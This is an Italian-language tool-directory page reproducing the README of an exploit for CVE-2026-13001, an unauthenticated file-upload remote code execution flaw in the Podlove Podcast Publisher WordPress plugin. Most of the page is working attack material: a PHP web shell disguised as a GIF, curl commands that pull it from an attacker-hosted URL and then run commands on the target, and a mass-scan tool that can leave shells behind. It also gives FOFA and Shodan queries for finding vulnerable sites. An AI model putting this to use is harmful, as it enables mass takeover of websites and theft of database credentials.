Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-13001 — Podlove Podcast Publisher Caricamento file non autenticato RCE tramite disallineamento tra is_image() e extract_file_extension() | CVSS 9.8 | Kitploit
Strumenti/GitHubGitHub/shinthink/cve-2026-13001
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneSviluppo Payload
GitHubshinthink/cve-2026-13001

CVE-2026-13001

Podlove Podcast Publisher Caricamento file non autenticato RCE tramite disallineamento tra is_image() e extract_file_extension() | CVSS 9.8

Vedi Repository
21 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-13001 — Podlove Podcast Publisher Caricamento File Non Autenticato RCE

Discrepanza tra is_image() e extract_file_extension() → Caricamento Polyglot PHP


Panoramica

CVE-2026-13001 è una vulnerabilità critica (CVSS 9.8) di caricamento arbitrario di file non autenticato nel plugin WordPress Podlove Podcast Publisher versione ≤ 4.5.1.

La vulnerabilità sfrutta una discrepanza tra due funzioni interne che analizzano le estensioni dei file in modo diverso:

  • is_image() usa basename() che include le stringhe di query → URL shell.php?.gif appare come .gif ✅ (immagine valida)
  • extract_file_extension() usa solo il percorso di parse_url() → restituisce .php → il file viene salvato con estensione .php 🚨

Gli aggressori caricano polyglot GIF89a PHP (header GIF valido + PHP incorporato) che superano la convalida delle immagini ma vengono eseguiti come PHP quando vengono acceduti.

Versioni Affette

VersioneStato
≤ 4.5.1Vulnerabile
4.5.2+Corretto

Scoperto da: Talal Nasraddeen tramite Wordfence (14 luglio 2026)


Meccanismo della vulnerabilità

Causa principale

root@kitploit:~
// is_image() — uses basename() which includes query string
function is_image($url) {
    $ext = strtolower(pathinfo(basename($url), PATHINFO_EXTENSION));
    return in_array($ext, ['jpg','jpeg','png','gif','webp']);
}
// URL: https://attacker.com/shell.php?.gif
// basename() → "shell.php?.gif" → ext = "gif" ✅ BYPASSED
root@kitploit:~
// extract_file_extension() — uses parse_url() path only
function extract_file_extension($url) {
    $path = parse_url($url, PHP_URL_PATH);
    return pathinfo($path, PATHINFO_EXTENSION);
}
// URL: https://attacker.com/shell.php?.gif
// parse_url() → "/shell.php" → ext = "php" 🚨 SAVED AS .php

Flusso dell'attacco

root@kitploit:~
1. Attacker hosts GIF89a PHP polyglot at attacker.com/shell.php?.gif
2. GET /?podlove_image_cache_url={hex(url)}&podlove_file_name=test
3. is_image() validates .gif extension → PASS
4. Plugin downloads file → saves as test_original.php in cache/
5. Attacker accesses /wp-content/cache/podlove/{hash}/test_original.php
6. PHP executes → RCE

Installazione

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-13001.git
cd CVE-2026-13001
pip install -r requirements.txt

Utilizzo

root@kitploit:~
# Single target
python cve_2026_13001.py -t target.com

# Mass scan
python cve_2026_13001.py -f targets.txt -o shells.txt

# Custom payload URL
python cve_2026_13001.py -t target.com --payload-url https://yourserver/shell.php?.gif

# Debug mode, leave shells
python cve_2026_13001.py -t target.com --debug --no-cleanup

Argomenti

root@kitploit:~
  -t, --target       Singolo target (dominio o IP)
  -f, --file         Lista di target, uno per riga
  -o, --output       Salva gli URL RCE in un file
  --payload-url      URL che ospita il polyglot PHP (default: GitHub raw)
  --threads          Thread concorrenti (default: 30)
  --no-cleanup       Lascia le shell sul target
  --debug            Mostra ogni richiesta HTTP
  -v, --verbose      Output dettagliato

Prova di concetto

Singolo target

root@kitploit:~
$ python cve_2026_13001.py -t podcast-site.com
root@kitploit:~
  Podlove Podcast Publisher | CVE-2026-13001 | CVSS 9.8

  Host       : podcast-site.com
  Podlove    : YES v4.5.1
  Upload     : YES
  RCE        : YES
  Shell      : https://podcast-site.com/wp-content/cache/podlove/a1/b2.../think_xxx_original.php?t=TOKEN
  Output     : uid=33(www-data) gid=33(www-data)
  Time       : 4.2s

Scansione di massa

root@kitploit:~
  Targets: 500  |  Threads: 30
  Payload URL: https://raw.githubusercontent.com/shinthink/payloads/main/shell.gif

  [RCE] podcast-vuln-01.com       https://podcast-vuln-01.com/wp-content/cache/podlove/...
  [150/500] 30% | Det:42 RCE:8

Sfruttamento manuale

Passo 1 — Ospitare una shell polyglot

root@kitploit:~
// shell.php — save and host on your server
GIF89a<?php system($_GET['c']); ?>

Passo 2 — Codifica esadecimale dell'URL con bypass

root@kitploit:~
# URL: https://attacker.com/shell.php?.gif
echo -n "https://attacker.com/shell.php?.gif" | xxd -p | tr -d '\n'

Passo 3 — Attivare il download della cache

root@kitploit:~
curl 'https://target.com/?podlove_image_cache_url=68747470733a2f2f...&podlove_file_name=shell&podlove_width=100&podlove_height=100&podlove_crop=0'

Passo 4 — Accedere alla shell

root@kitploit:~
# Path: wp-content/cache/podlove/{h[:2]}/{h[2:]}/{name}_original.php
curl 'https://target.com/wp-content/cache/podlove/a1/b2c3.../shell_original.php?c=id'

FOFA / Shodan

root@kitploit:~
FOFA:   body="podlove-podcasting-plugin-for-wordpress"
Shodan: http.html:"podlove"

Impatto

Uno sfruttamento riuscito produce esecuzione di codice remoto come utente del server web:

  • Estrarre wp-config.php → credenziali del database
  • Accedere a tutti i contenuti WordPress, utenti e dati dei plugin
  • Distribuire backdoor persistenti
  • Muoversi verso reti interne

Disclaimer

SOLO A SCOPO EDUCATIVO E PER TEST AUTORIZZATI.

Gli autori non si assumono alcuna responsabilità per un uso improprio.


Riferimenti


Non affiliato con Podlove.

Scarica lo strumento
RisorsaLink
Avviso Wordfencewordfence.com
Rilascio di sicurezza Podlovepodlove.org
Voce NVDCVE-2026-13001
PoC di Raimu0x19GitHub
RicercatoreTalal Nasraddeen